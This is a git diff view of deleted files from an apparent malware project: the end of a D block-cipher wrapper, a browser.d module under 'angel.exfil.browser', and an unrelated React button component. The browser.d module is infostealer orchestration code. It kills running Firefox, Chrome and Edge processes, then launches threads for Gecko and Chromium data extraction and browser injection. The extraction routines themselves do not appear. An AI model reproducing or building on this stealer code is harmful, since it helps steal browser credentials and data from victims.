|
||||
return cipher.name;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the block size for this cipher (in bytes).
|
||||
*
|
||||
* Returns: the block size for this cipher in bytes.
|
||||
*/
|
||||
@property
|
||||
uint blockSize() pure nothrow @nogc {
|
||||
return T.blockSize;
|
||||
}
|
||||
|
||||
/**
|
||||
* Process one block of input from the array in and write it to
|
||||
* the out array.
|
||||
*
|
||||
* Params:
|
||||
* input = the slice containing the input data.
|
||||
* output = the slice the output data will be copied into.
|
||||
* Throws: IllegalStateException if the cipher isn't initialised.
|
||||
* Returns: the number of bytes processed and produced.
|
||||
*/
|
||||
uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
|
||||
return cipher.encrypt(input, output);
|
||||
}
|
||||
|
||||
uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
|
||||
return cipher.decrypt(input, output);
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the cipher. After resetting the cipher is in the same state
|
||||
* as it was after the last init (if there was one).
|
||||
*/
|
||||
void reset() nothrow @nogc {
|
||||
cipher.reset();
|
||||
}
|
||||
}
|
||||
|
||||
version(unittest) {
|
||||
|
||||
// unittest helper functions
|
||||
|
||||
import std.format: format;
|
||||
|
||||
/// Runs decryption and encryption using BlockCipher bc with given keys, plaintexts, and ciphertexts
|
||||
///
|
||||
/// Params:
|
||||
/// keys = The encryption/decryption keys.
|
||||
/// plaintexts = Plaintexts.
|
||||
/// cipherTexts = Corresponding ciphertexts.
|
||||
/// ivs = Initialization vectors.
|
||||
///
|
||||
@safe
|
||||
public void blockCipherTest(IBlockCipher bc, string[] keys, string[] plaintexts, string[] cipherTexts, string[] ivs = null) {
|
||||
|
||||
foreach (uint i, string test_key; keys)
|
||||
{
|
||||
ubyte[] buffer = new ubyte[bc.blockSize];
|
||||
|
||||
|
||||
const ubyte[] key = cast(const ubyte[]) test_key;
|
||||
const (ubyte)[] iv = null;
|
||||
if(ivs !is null) {
|
||||
iv = cast(const (ubyte)[]) ivs[i];
|
||||
}
|
||||
|
||||
// Encryption
|
||||
bc.start(key, iv);
|
||||
bc.encrypt(cast(const ubyte[]) plaintexts[i], buffer);
|
||||
|
||||
assert(buffer == cipherTexts[i],
|
||||
format("%s failed to encrypt.", bc.name));
|
||||
|
||||
// Decryption
|
||||
bc.start(key, iv);
|
||||
bc.decrypt(cast(const ubyte[]) cipherTexts[i], buffer);
|
||||
assert(buffer == plaintexts[i],
|
||||
format("%s failed to decrypt.", bc.name));
|
||||
}
|
||||
}
|
||||
}
|
||||
64
browser.d
64
browser.d
@@ -1,64 +0,0 @@
|
||||
module angel.exfil.browser.browser;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
import angel.utils.utils;
|
||||
import angel.config : config;
|
||||
import angel.utils.constants;
|
||||
import angel.exfil.browser.inject;
|
||||
import angel.exfil.browser.chromium.chromium;
|
||||
import angel.exfil.browser.gecko.gecko;
|
||||
// External imports
|
||||
import std.path;
|
||||
import std.stdio;
|
||||
import std.file;
|
||||
import core.thread.osthread;
|
||||
|
||||
// TODO fix process killing
|
||||
// BUG doesn't equally loop through set of procs, just operates on last one
|
||||
|
||||
class Browser {
|
||||
this() {
|
||||
Logger.log(LogLevel.Event, "Initializing browser...");
|
||||
|
||||
string[] procs = ["firefox.exe", "chrome.exe", "msedge.exe"];
|
||||
|
||||
if (!config.debug_mode) {
|
||||
Utils.killproc(procs);
|
||||
}
|
||||
|
||||
string browser_path = buildPath(Constants.workdir, "Browser");
|
||||
|
||||
if (!exists(browser_path)) {
|
||||
mkdir(browser_path);
|
||||
}
|
||||
|
||||
Logger.log(LogLevel.Event, "Initialized browser.");
|
||||
}
|
||||
|
||||
public void run() {
|
||||
Thread[] threads;
|
||||
|
||||
if (config.exfil.browser.gecko) {
|
||||
auto t = new Thread(() => new Gecko().entry());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread gecko...");
|
||||
t.start();
|
||||
}
|
||||
else if (config.exfil.browser.chromium) {
|
||||
auto t = new Thread(() => new Chromium().entry());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread chromium...");
|
||||
t.start();
|
||||
} else if (config.exfil.browser.inject) {
|
||||
auto t = new Thread(() => new Inject().inject());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread browser inject...");
|
||||
t.start();
|
||||
}
|
||||
|
||||
foreach (t; threads) {
|
||||
joinLowLevelThread(t.id);
|
||||
}
|
||||
}
|
||||
}
|
||||
57
button.tsx
57
button.tsx
@@ -1,57 +0,0 @@
|
||||
import * as React from "react"
|
||||
import { Slot } from "@radix-ui/react-slot"
|
||||
import { cva, type VariantProps } from "class-variance-authority"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const buttonVariants = cva(
|
||||
"inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",
|
||||
{
|
||||
variants: {
|
||||
variant: {
|
||||
default:
|
||||
"bg-primary text-primary-foreground shadow hover:bg-primary/90",
|
||||
destructive:
|
||||
"bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90",
|
||||
outline:
|
||||
"border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
|
||||
secondary:
|
||||
"bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80",
|
||||
ghost: "hover:bg-accent hover:text-accent-foreground",
|
||||
link: "text-primary underline-offset-4 hover:underline",
|
||||
},
|
||||
size: {
|
||||
default: "h-9 px-4 py-2",
|
||||
sm: "h-8 rounded-md px-3 text-xs",
|
||||
lg: "h-10 rounded-md px-8",
|
||||
icon: "h-9 w-9",
|
||||
},
|
||||
},
|
||||
defaultVariants: {
|
||||
variant: "default",
|
||||
size: "default",
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
export interface ButtonProps
|
||||
extends React.ButtonHTMLAttributes<HTMLButtonElement>,
|
||||
VariantProps<typeof buttonVariants> {
|
||||
asChild?: boolean
|
||||
}
|
||||
|
||||
const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
|
||||
({ className, variant, size, asChild = false, ...props }, ref) => {
|
||||
const Comp = asChild ? Slot : "button"
|
||||
return (
|
||||
<Comp
|
||||
className={cn(buttonVariants({ variant, size, className }))}
|
||||
ref={ref}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
}
|
||||
)
|
||||
Button.displayName = "Button"
|
||||
|
||||
export { Button, buttonVariants }
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user